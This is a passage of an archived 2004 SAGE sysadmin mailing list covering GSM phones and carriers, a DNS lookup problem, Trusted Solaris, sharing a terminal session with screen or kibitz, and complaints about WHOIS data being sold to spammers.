voyager.usenix.org (8.12.10/8.12.10/Submit) id i06LlGQQ022513 for sage-members-outgoing; Tue, 6 Jan 2004 13:47:16 -0800 (PST) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <5A5B6B7C-4086-11D8-9A11-000A95822A5A@columbia.edu> References: <20031231051238.GB22470@snew.com> <81C94CA3-3BB7-11D8-9984-000A95C4CFFE@employees.org> <20040102231733.GC3311@globnix.org> <5A5B6B7C-4086-11D8-9A11-000A95822A5A@columbia.edu> Date: Tue, 6 Jan 2004 22:45:03 +0100 To: Fuat Baran From: Brad Knowles Subject: Re: [SAGE] ATT Phones Cc: Brad Knowles , Daniel Rich , Phil Pennock , sage-members@sage.org, Fuat Baran Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 3:24 PM -0500 2004/01/06, Fuat Baran wrote: > T-Mobile told me they would unlock mine. But when I called, I ended > up talking to someone at the call centre who didn't understand me. > Since I didn't have a burning need, I didn't pursue. I'm sure they made a point of not understanding you. They probably don't understand any of their clients who call up asking for this service. > AT&T's GSM coverage in my home neighbourhood sucks, so I switched > to T-Mobile to get GSM. I've been very happy with the coverage in > New York, Cape Cod, etc. as well as in London. Have you tried Philadelphia? I couldn't get any GSM coverage there. What about away from urban areas? How many areas are covered by towers that the provider owns themselves, and how many are covered by facilities rented from other providers? Roaming in a different country is one thing, but having to rent coverage from other providers just to cover your own customers in what is supposed to be your normal coverage area, that's quite another. > Now I've got my eye > on the Treo 600... I have the Nokia 6610 at the moment. :-) Both look nice. I'm looking towards the replacement for the Treo 600, one that includes Bluetooth support, as well as a somewhat higher resolution screen (160x160 isn't enough, no matter how small you make it). -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Jan 6 21:04:29 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0754TNe002012 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 6 Jan 2004 21:04:29 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0754TZx002011 for sage-members-outgoing; Tue, 6 Jan 2004 21:04:29 -0800 (PST) Message-ID: <3FFB9356.6080300@cox.net> Date: Tue, 06 Jan 2004 21:04:22 -0800 From: Mike Noble User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@usenix.org Subject: [Fwd: Re: [SAGE] Problem with resolving DNS Name] X-Enigmail-Version: 0.76.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Mike Noble wrote: > I am having problems resolving the name 'mti.com.tw'. I am not able > to resolve from > my work or from a my service providers name servers. I am able to > resolve it from > my home account. I would be interested if other members of sage are > able to resolve this name. I am also > wondering if this a problem on my end or a problem in the DNS > configuration of > mti.com.tw. > > Rather than cluttering the list with responses, if you would just send > me directly, > I can summarize what I find and post to the list if others are > interested. > mgnoble@cox.net > > Thank you for your help in trying to resolve this issue. > > Mike I would like to thank everyone who has responded. The name will now resolve, may never know what the actual problem was. In doing a traceroute to mti.com.tw from my work, it would hang at one point. In doing a trace from my home, it would pass thru the same point without delay. I did send mail to mti.com.tw and it is possible that they found the problem and fixed it, or the the site in question above found they had a problem and fixed it. Either way it is now working, really would like to know what the problem was but will probably die before I find out. Thanks again, Mike From sage-members-owner@usenix.org Wed Jan 7 04:56:49 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i07CunNe006754 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 7 Jan 2004 04:56:49 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i07CunME006753 for sage-members-outgoing; Wed, 7 Jan 2004 04:56:49 -0800 (PST) Date: Wed, 7 Jan 2004 12:56:33 +0000 From: Phil Pennock To: Brad Knowles Cc: sage-members@sage.org Subject: Re: [SAGE] ATT Phones Message-ID: <20040107125633.GA22826@globnix.org> Mail-Followup-To: Brad Knowles , sage-members@sage.org References: <20031231051238.GB22470@snew.com> <81C94CA3-3BB7-11D8-9984-000A95C4CFFE@employees.org> <20040102231733.GC3311@globnix.org> <5A5B6B7C-4086-11D8-9A11-000A95822A5A@columbia.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Sender: owner-sage-members@usenix.org Precedence: bulk On 2004-01-06 at 22:45 +0100, Brad Knowles wrote: > Have you tried Philadelphia? I couldn't get any GSM coverage there. I was at LISA 2002 in Philadelphia. With one of the aforementioned phones (Nokia 6310i). Triband GSM. Coverage was just fine. I switched back to my work SIM for that, since I wasn't on holiday. I made and received some calls during the conference -- life of a sysadmin. I've no idea which telco was providing the roaming. I76(PA)/I80(OH)/I90(IA) had solid GSM coverage except in the mountains in PA. Otherwise solid coverage between Philadelphia and Chicago. It's somewhat disappointing to learn that the features of GSM _designed_ to allow free-market competition without undue restraints are not readily available in the USA unless you have a foreign phone and are roaming. :^( No wonder I couldn't find pre-pay SIMs. Pre-pay contracts don't cut it -- I don't want to start signing contracts in foreign jurisdictions whilst on vacation or at a conference. I doubt that I'm alone here. Indispensable call-duty feature if you might need to go onsite for hands-on work: Bluetooth headset. No wires, no fuss. Summit 48i blown out affecting a service network, need to talk to a Networks person who's a couple of cities away whilst swapping the switches (mounted in patch cabinet), repatching cables and doing preliminary switch config? No problem, no hassle. I find that wire-based headsets have a tendency for the wire to dislodge from the phone. Mind, the BT headset _can_ disassociate at inconvenient moments. Cheap headset. :^/ -- "Science is the belief in the ignorance of experts." -- Richard P. Feynman From sage-members-owner@usenix.org Wed Jan 7 05:13:16 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i07DDGNe007249 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 7 Jan 2004 05:13:16 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i07DDGrd007248 for sage-members-outgoing; Wed, 7 Jan 2004 05:13:16 -0800 (PST) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040107125633.GA22826@globnix.org> References: <20031231051238.GB22470@snew.com> <81C94CA3-3BB7-11D8-9984-000A95C4CFFE@employees.org> <20040102231733.GC3311@globnix.org> <5A5B6B7C-4086-11D8-9A11-000A95822A5A@columbia.edu> <20040107125633.GA22826@globnix.org> Date: Wed, 7 Jan 2004 14:12:45 +0100 To: Phil Pennock From: Brad Knowles Subject: Re: [SAGE] ATT Phones Cc: Brad Knowles , sage-members@sage.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 12:56 PM +0000 2004/01/07, Phil Pennock wrote: > I was at LISA 2002 in Philadelphia. With one of the aforementioned > phones (Nokia 6310i). Triband GSM. Coverage was just fine. I was at the same conference. I couldn't get anything. Signal strength showed up as very strong, but I guess I couldn't get authenticated to the network. Only one carrier was available. Maybe my carrier didn't have a roaming agreement with that carrier? > It's somewhat disappointing to learn that the features of GSM _designed_ > to allow free-market competition without undue restraints are not > readily available in the USA unless you have a foreign phone and are > roaming. That's the Coke/Pepsi co-marketing model. Make sure to lock the market up so that they are the only two possible players, and then fight it out between them. > :^( No wonder I couldn't find pre-pay SIMs. Pre-pay > contracts don't cut it -- I don't want to start signing contracts in > foreign jurisdictions whilst on vacation or at a conference. I doubt > that I'm alone here. If I could have signed the contracts, I would have. I wasn't able to, because they won't accept contracts from people who live overseas, nor will they accept credit cards from overseas. > Indispensable call-duty feature if you might need to go onsite for > hands-on work: Bluetooth headset. I haven't seen a good one yet. > I find that wire-based headsets have a tendency for > the wire to dislodge from the phone. The wired headsets that I've found for my Nokia 6310i have not had a problem with regards to pulling out of the phone. My primary problem has been finding one that is comfortable (not an earbud, which I find very painful). Ideally, I'd have a good Plantronics headset with boom microphone, and at least one external over-the-ear open-air speaker with soft foam ear cushion. I've found Plantronics headsets, but not quite like what I'm looking for, and not for connection to a Nokia 6310i without some sort of adapter that really screws up the sound, the microphone, etc.... -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Wed Jan 7 07:05:44 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i07F5iNe008967 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 7 Jan 2004 07:05:44 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i07F5iY7008966 for sage-members-outgoing; Wed, 7 Jan 2004 07:05:44 -0800 (PST) Message-Id: <200401071505.i07F5c227428@biz.compata.com> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.3 To: sage-members@usenix.org Subject: Re: [SAGE] ATT Phones In-reply-to: Your message of "Wed, 07 Jan 2004 12:56:33 GMT." <20040107125633.GA22826@globnix.org> From: Dave Close X-message-flag: Did you know MS Outlook is evil? X-Face: $?&5f7w4GjUJOb-[FmngebA}V`5Dv)QEdHg|d%mytVRm]'o}*{J6:PP%(LfN LmOcb#>"^wDF*|ZzuS??S*vLH[.miV(I76(PA)/I80(OH)/I90(IA) had solid GSM coverage except in the mountains >in PA. Otherwise solid coverage between Philadelphia and Chicago. I think you mean I90 (IN), Indiana. IA is Iowa. This discussion might also benefit from the February issue of Consumer Reports. It evaluates and compares both phones and carriers in various cities around the US. -- Dave Close, Compata, Costa Mesa CA "'Always' and 'never' are two dave@compata.com, +1 714 434 7359 words you should always remember dhclose@alumni.caltech.edu never to use." --Wendell Johnson From sage-members-owner@usenix.org Wed Jan 7 08:36:36 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i07GaZNe010234 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 7 Jan 2004 08:36:36 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i07GaZBu010233 for sage-members-outgoing; Wed, 7 Jan 2004 08:36:35 -0800 (PST) Date: Wed, 07 Jan 2004 09:33:08 -0700 (MST) From: Yves Dorfsman Subject: Re: [SAGE] ATT Phones In-reply-to: <200401071505.i07F5c227428@biz.compata.com> To: sage-members@usenix.org Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT References: <200401071505.i07F5c227428@biz.compata.com> Sender: owner-sage-members@usenix.org Precedence: bulk On Wed, 7 Jan 2004, Dave Close wrote: > This discussion might also benefit from the February issue of Consumer > Reports. It evaluates and compares both phones and carriers in various > cities around the US. Then Steve's cell phone reviews should be mentioned here: http://www.arcx.com/sites/PhoneReviewsList.htm I always uses his comparisons before buying cell phones, and am glad to have done so... I've bought two Motorola P280 (GSM) based on the fact that they are one of the best phone for RF and audio quality, and have had numerous examples of other people using other phones but the same network provider not able to use their phones in specific spots while I was having no problem whatsoever. I can phone and receive phone calls with near perfect quality with just one bar on my phone. I use Rogers AT&T by the way, which provides very good quality and coverage, at least in western Canada. Rogers used to be known to have bad coverage and poor service but all that has improved tremendously since they were bought (or merged ?) with AT&T, which is quite ironic reading people experiences in the US with AT&T on this list. Note that in some of my recent discussions with Steve (from the above web page) about quality when I was expressing my surprised that the P280, an old phone by today's standards, is still one of the best for RF and audio quality, he said that one of the main reason most phone manufacturers don't build audio and RF quality in their phones is because there's no money for that, most people buy a phone because of its look and what gadget it has, very few enquire about quality. Never thought of it as I tend to research things to death before buying, but it make sense when you see ads on TV for cell phones, or listen to people raving about the latest game of song they have on their phone. There's some pages about phone locked by network providers on his page as well (since that came up in this thread). Yves. ---- Yves Dorfsman yves@zioup.com http://www.cuug.ab.ca/~dorfsmay http://www.SollerS.ca From sage-members-owner@usenix.org Wed Jan 7 09:46:37 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i07HkaNe012410 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 7 Jan 2004 09:46:36 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i07HkaP3012409 for sage-members-outgoing; Wed, 7 Jan 2004 09:46:36 -0800 (PST) Message-Id: <200401071746.i07HkNHY018335@seasnake.esn.us.ray.com> Date: Wed, 7 Jan 2004 09:46:23 -0800 (PST) From: Mario Obejas Reply-To: Mario Obejas Subject: [SAGE] Trusted Solaris opinions To: sage-members@sage.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: cZjmrZ3AbXXf/Fr3ZUasvw== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.5 SunOS 5.9 sun4u sparc Sender: owner-sage-members@usenix.org Precedence: bulk One of our programs is going to use Trusted Solaris. Anyone want to venture any opinions? I'm assuming an experienced Solaris admin will not have any real issues, and that the main deal is that you are dealing with way more of the security features available (e.g., Role Based Access Control). In looking at the FAQ on Sun's site, it's disconcerting to see that the FAQ has not been updated for two years: Government certification is expected "midyear calendar 2001". http://wwws.sun.com/software/solaris/trustedsolaris/faqs.html TIA Mario Obejas Engineering Automation & Computing Raytheon From sage-members-owner@usenix.org Thu Jan 8 11:39:25 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i08JdPNe024259 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Jan 2004 11:39:25 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i08JdPsI024258 for sage-members-outgoing; Thu, 8 Jan 2004 11:39:25 -0800 (PST) Date: Thu, 8 Jan 2004 11:39:01 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: [SAGE] Tool to split tty I/O? Message-ID: <20040108193901.GE96153@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Uptime: 11:37AM up 205 days, 14:47, 17 users, load averages: 0.05, 0.04, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk I seem to recall there once existed a freeware tool that'd split the I/O of a tty, making it possible for two or more people to interact with the same shell, locally and remotely. However, my recent Googling's come up empty. Does anyone remember such a tool? -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Thu Jan 8 11:50:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i08JoQNe024975 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Jan 2004 11:50:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i08JoQO7024973 for sage-members-outgoing; Thu, 8 Jan 2004 11:50:26 -0800 (PST) Date: Thu, 8 Jan 2004 14:49:37 -0500 (EST) From: Cat Okita To: "Mark C. Langston" cc: sage-members@usenix.org Subject: Re: [SAGE] Tool to split tty I/O? In-Reply-To: <20040108193901.GE96153@bitshift.org> Message-ID: <20040108144923.B46254-100000@iguana.reptiles.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, 8 Jan 2004, Mark C. Langston wrote: > I seem to recall there once existed a freeware tool that'd split the I/O > of a tty, making it possible for two or more people to interact with the > same shell, locally and remotely. > > However, my recent Googling's come up empty. > > Does anyone remember such a tool? Screen? *grin* cheers! ========================================================================== "A cat spends her life conflicted between a deep, passionate and profound desire for fish and an equally deep, passionate and profound desire to avoid getting wet. This is the defining metaphor of my life right now." From sage-members-owner@usenix.org Thu Jan 8 12:01:38 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i08K1bNe026069 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Jan 2004 12:01:38 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i08K1bFY026068 for sage-members-outgoing; Thu, 8 Jan 2004 12:01:37 -0800 (PST) Date: Thu, 8 Jan 2004 12:01:31 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] Tool to split tty I/O? Message-ID: <20040108200130.GF96153@bitshift.org> References: <20040108193901.GE96153@bitshift.org> <20040108144923.B46254-100000@iguana.reptiles.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040108144923.B46254-100000@iguana.reptiles.org> User-Agent: Mutt/1.4.1i X-Uptime: 11:57AM up 205 days, 15:07, 17 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, Jan 08, 2004 at 02:49:37PM -0500, Cat Okita wrote: > On Thu, 8 Jan 2004, Mark C. Langston wrote: > > I seem to recall there once existed a freeware tool that'd split the I/O > > of a tty, making it possible for two or more people to interact with the > > same shell, locally and remotely. > > > > However, my recent Googling's come up empty. > > > > Does anyone remember such a tool? > > Screen? *grin* I was going to follow up with a smarmy, "Interactively", but realized I'd completely forgotten about the -x option! Thank you. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Thu Jan 8 12:06:45 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i08K6jNe026612 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Jan 2004 12:06:45 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i08K6jCu026611 for sage-members-outgoing; Thu, 8 Jan 2004 12:06:45 -0800 (PST) X-Authentication-Warning: goodall.eng.auburn.edu: doug owned process doing -bs Date: Thu, 8 Jan 2004 14:05:33 -0600 (CST) From: Doug Hughes To: Cat Okita cc: "Mark C. Langston" , Subject: Re: [SAGE] Tool to split tty I/O? In-Reply-To: <20040108144923.B46254-100000@iguana.reptiles.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-16.8 required=5.1 tests=EMAIL_ATTRIBUTION,IN_REP_TO,USER_AGENT_PINE,X_AUTH_WARNING version=2.52 X-Spam-Checker-Version: SpamAssassin 2.52 (1.174.2.8-2003-03-24-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, 8 Jan 2004, Cat Okita wrote: > On Thu, 8 Jan 2004, Mark C. Langston wrote: > > I seem to recall there once existed a freeware tool that'd split the I/O > > of a tty, making it possible for two or more people to interact with the > > same shell, locally and remotely. > > > > However, my recent Googling's come up empty. > > > > Does anyone remember such a tool? > > Screen? *grin* > or perhaps kibitz From sage-members-owner@usenix.org Thu Jan 8 12:12:27 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i08KCRNe027282 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Jan 2004 12:12:27 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i08KCRCr027279 for sage-members-outgoing; Thu, 8 Jan 2004 12:12:27 -0800 (PST) Subject: Re: [SAGE] Tool to split tty I/O? From: "Brandon S. Allbery KF8NH" To: "Mark C. Langston" Cc: sage-members@usenix.org In-Reply-To: <20040108193901.GE96153@bitshift.org> References: <20040108193901.GE96153@bitshift.org> Content-Type: text/plain Message-Id: <1073592708.1824.1.camel@pyanfar.ece.cmu.edu> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Thu, 08 Jan 2004 15:11:49 -0500 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-38.8 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_XIMIAN autolearn=ham version=2.50 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.50 (1.173-2003-02-20-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, 2004-01-08 at 14:39, Mark C. Langston wrote: > I seem to recall there once existed a freeware tool that'd split the I/O > of a tty, making it possible for two or more people to interact with the > same shell, locally and remotely. > > However, my recent Googling's come up empty. > > Does anyone remember such a tool? The GNU version of "screen" can be configured to allow multiple simultaneous connections to a single screen session, and can be used as you describe. -- brandon s. allbery [linux,solaris,freebsd,perl] allbery@kf8nh.com system administrator [WAY too many hats] allbery@ece.cmu.edu electrical and computer engineering, carnegie mellon univ. KF8NH From sage-members-owner@usenix.org Thu Jan 8 14:38:17 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i08McHNe007581 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Jan 2004 14:38:17 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i08McHSR007580 for sage-members-outgoing; Thu, 8 Jan 2004 14:38:17 -0800 (PST) Message-ID: <3FFDDC72.6080608@virtual.net> Date: Thu, 08 Jan 2004 14:40:50 -0800 From: Strata R Chalup Reply-To: strata@virtual.net Organization: VirtualNet Consulting User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030529 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sage-members@sage.org Subject: [SAGE] How nice...not. "Fresh WhoIs data (emails, phones, etc.) on sale!" Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Got a spam today in some folks at "sales@outhosted.com" are claiming to have done a registry crawl in mid-December 2003. They don't say which registry, but claim to be selling info on 214K registrants, including phone and address data. I thought this sort of thing was explicitly prohibited by most of the current registrars, and that they had (albeit simple) throttles to prevent multiple queries of that crawling sort. Oh yes, and the claim is that these wingnuts will refresh the data quarterly. Any point in barking up this particular tree? Ie, has anyone here seen registrars make any attempt to go after such folks? Cynically I'm assuming that there's a better chance nowadays-- simply because so many registrars will sell you marketing data themselves, so now it's theft from their viewpoint (rolls eyes). _SRC -- ======================================================================== Strata Rose Chalup [KF6NBZ] strata "@" virtual.net VirtualNet Consulting http://www.virtual.net/ ** Project Management & Architecture for ISP/ASP Systems Integration ** ========================================================================= From sage-members-owner@usenix.org Thu Jan 8 14:54:06 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i08Ms5Ne011641 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Jan 2004 14:54:06 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i08Ms5hM011640 for sage-members-outgoing; Thu, 8 Jan 2004 14:54:05 -0800 (PST) Date: Thu, 8 Jan 2004 14:53:58 -0800 From: "Mark C. Langston" To: sage-members@sage.org Subject: Re: [SAGE] How nice...not. "Fresh WhoIs data (emails, phones, etc.) on sale!" Message-ID: <20040108225358.GG96153@bitshift.org> References: <3FFDDC72.6080608@virtual.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3FFDDC72.6080608@virtual.net> User-Agent: Mutt/1.4.1i X-Uptime: 2:49PM up 205 days, 17:59, 18 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, Jan 08, 2004 at 02:40:50PM -0800, Strata R Chalup wrote: > Got a spam today in some folks at "sales@outhosted.com" are > claiming to have done a registry crawl in mid-December 2003. They > don't say which registry, but claim to be selling info on 214K > registrants, including phone and address data. > > I thought this sort of thing was explicitly prohibited by most of > the current registrars, and that they had (albeit simple) throttles > to prevent multiple queries of that crawling sort. Oh yes, and > the claim is that these wingnuts will refresh the data quarterly. > > Any point in barking up this particular tree? Ie, has anyone here > seen registrars make any attempt to go after such folks? Cynically > I'm assuming that there's a better chance nowadays-- simply because > so many registrars will sell you marketing data themselves, so now > it's theft from their viewpoint (rolls eyes). I don't know how much progress you'd make. There are either some extremely large customers of this sort of operation, or there are some very large businesses doing this themselves. Case in point: I got a spam-phonecall today from Experian. Asking if they'd reached $DOMAIN_I_JUST_REGISTERED. On a number in the Federal Do-Not-Call database. They claimed that if a number is used for business, it's okay. I explained to them that registration of a domain name does not imply "business use", and that the number they'd dialed was a residential line, and was listed in the DNC database. This wasn't the first time, either. Last month, I got one (for the same domain) from a large financial house (Morgan Stanley, I think, but I may be misremembering). I've always been a proponent of putting valid information into WHOIS. That opinion is very rapidly changing, however. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Thu Jan 8 15:14:48 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i08NEmNe014452 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Jan 2004 15:14:48 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i08NEmHB014451 for sage-members-outgoing; Thu, 8 Jan 2004 15:14:48 -0800 (PST) Date: Thu, 8 Jan 2004 18:13:59 -0500 (EST) From: Mike Hoskins To: "Mark C. Langston" cc: sage-members@sage.org Subject: Re: [SAGE] How nice...not. "Fresh WhoIs data (emails, phones, etc.) on sale!" In-Reply-To: <20040108225358.GG96153@bitshift.org> Message-ID: Organization: Burlington Coat Factory MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk I feel your pain. The number of registars that will privately register your domain is growing. For those who may be unaware, it is usually an at cost option, but it is becoming much more interesting to me too. The address/phone info is held and only surrended at need. The idea has serious merit when the business culture decides that laws are really just guidelines that look like swiss cheese. I'm getting tired of getting calls (number also on the DNC list) for the "Mike Hoskins Corp." Don't I wish. Maybe LLC. -- Mike Hoskins/Sys Mgmt Supv < Burlington Coat Factory voice 609/387-7800 x2554 Systems Management fax 609/387-2764 1830 North Rt #130 mike.hoskins@coat.com Burlington, NJ 08016 On Thu, 8 Jan 2004, Mark C. Langston wrote: > On Thu, Jan 08, 2004 at 02:40:50PM -0800, Strata R Chalup wrote: > > Got a spam today in some folks at "sales@outhosted.com" are > > claiming to have done a registry crawl in mid-December 2003. They > > don't say which registry, but claim to be selling info on 214K > > registrants, including phone and address data. > > > > I thought this sort of thing was explicitly prohibited by most of > > the current registrars, and that they had (albeit simple) throttles > > to prevent multiple queries of that crawling sort. Oh yes, and > > the claim is that these wingnuts will refresh the data quarterly. > > > > Any point in barking up this particular tree? Ie, has anyone here > > seen registrars make any attempt to go after such folks? Cynically > > I'm assuming that there's a better chance nowadays-- simply because > > so many registrars will sell you marketing data themselves, so now > > it's theft from their viewpoint (rolls eyes). > > > I don't know how much progress you'd make. There are either some > extremely large customers of this sort of operation, or there are > some very large businesses doing this themselves. > > Case in point: I got a spam-phonecall today from Experian. Asking > if they'd reached $DOMAIN_I_JUST_REGISTERED. On a number in the Federal > Do-Not-Call database. > > They claimed that if a number is used for business, it's okay. > > I explained to them that registration of a domain name does not imply > "business use", and that the number they'd dialed was a residential > line, and was listed in the DNC database. > > This wasn't the first time, either. Last month, I got one (for the same > domain) from a large financial house (Morgan Stanley, I think, but I may > be misremembering). > > I've always been a proponent of putting valid information into WHOIS. > That opinion is very rapidly changing, however. > > > -- > Mark C. Langston Sr. Unix SysAdmin > mark@bitshift.org mark@seti.org > Systems & Network Admin SETI Institute > http://bitshift.org http://www.seti.org > > From sage-members-owner@usenix.org Thu Jan 8 15:36:21 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i08NaLNe015806 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 